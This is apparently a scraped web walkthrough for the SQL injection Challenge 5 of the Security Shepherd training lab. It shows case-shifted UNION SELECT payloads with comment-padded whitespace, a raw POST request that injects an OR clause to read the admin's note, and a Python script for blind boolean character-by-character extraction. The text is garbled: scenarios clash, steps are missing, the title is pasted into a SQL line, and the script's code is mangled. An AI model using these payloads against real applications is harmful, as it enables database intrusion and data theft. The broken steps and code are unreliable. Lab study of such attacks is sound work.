Sql+injection+challenge+5+security+shepherd+new Extra Quality

The Scenario: The Secure Note-Taker

You’ve just completed Challenge 4, where you bypassed a login using a basic ' OR '1'='1 attack. Now, Challenge 5 presents a new target: "Secure Note-Taker Pro" — a minimalist web app that claims to have fixed all SQL injection vulnerabilities.

The challenge description reads:

"Our new note-taking app uses prepared statements for all database queries. However, one developer thought it would be 'more efficient' to dynamically build a search query for the admin panel. Your goal: retrieve the administrator's private note."

You are given a guest account:

The app has two pages:

  1. View My Notes – shows notes belonging to the logged-in user.
  2. Admin Search – a text field that allows searching across all user notes, but only accessible after login.

2.1 Initial Interaction

The challenge presents a simple form that accepts a username and a password.

Upon submitting credentials, the application responds with:

No other data is displayed on the page.

Reconnaissance: Understanding the Target

Navigate to Challenge 5. The interface typically presents a search box—often a "Find User" or "Lookup Product ID" field. Let’s simulate the environment:

The "New" Challenge: What Changed?

You will notice the keyword "new" appearing frequently in search queries. Historically, earlier versions of Security Shepherd (pre-2021) had a relatively straightforward SQLi in Challenge 5. However, the "new" iteration—updated for modern OWASP Top 10 compliance—introduced three critical changes:

  1. Case-Sensitive Filters: The app now blocks common uppercase SQL keywords like SELECT, UNION, WHERE, and FROM.
  2. Whitespace Sanitization: Simple space characters (%20) are stripped if they appear in certain contexts.
  3. Error Suppression: Generic error pages replaced verbose database errors, removing the "error-based" crutch.

These changes force the attacker to use blind, boolean-based, case-shifted injection.

Step 1: Determine the number of columns

We cannot use ORDER BY easily due to space filters, so we use UNION SELECT NULL. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL/**/aNd/**/1=2-- -

If this returns no rows (False), try two columns. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL,NULL/**/aNd/**/1=2-- -

Expected result: When the number of NULLs matches the original SELECT (likely 2 columns), the page returns "User Found" even with the 1=2 condition. This confirms 2 columns.

Step 6: The Winning Payload

If the developer used double quotes around the LIKE pattern, then a double quote would close it. But the debug header shows single quotes. So maybe the filter is only client-side? You can bypass client-side validation by editing the POST request manually using Burp Suite or browser dev tools. sql+injection+challenge+5+security+shepherd+new

Disable JavaScript or intercept the request. Send:

search_term=%' OR user_id=1 AND '1'='1

No — quotes still needed for the '1'='1'. Better:

search_term=%' OR user_id=1 --

Submit via raw POST:

POST /challenge5/search.jsp HTTP/1.1
...
search_term=%25%27+OR+user_id%3D1+--+

But %25 is %, %27 is '. The server receives the single quote because client-side validation is bypassed.

Resulting SQL:
SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%%' OR user_id=1 -- %' The Scenario: The Secure Note-Taker You’ve just completed

The -- comments out the rest. Now the condition is user_id=2 AND note LIKE '%%' (always true for guest notes) OR user_id=1 (admin). But both conditions are ORed, so all notes where user_id=1 or 2 appear.

Response shows two notes:

Guest note: Remember to buy milk.
Admin note: The flag is SQLi_Chall5_Shepherd_8347


Automation for the "New" Challenge

Doing this manually takes hours. Use a Python script with requests and binary search logic:

import requests

url = "http://localhost:8080/challenge5.jsp" flag = "" position = 1

while True: for ascii_val in range(32, 127): char = chr(ascii_val) # Blind boolean payload payload = f"1'//aNd//(SeLeCt//SuBsTrInG(flag,{position},1)//FrOm//users//LiMiT//0,1)//=/**/'{char}'-- -" params = {"userid": payload} resp = requests.get(url, params=params)

    if "User Found" in resp.text:
        flag += char
        print(f"Found: {flag}")
        position += 1
        break
else:
    # No more characters found
    print(f"Final flag: {flag}")
    break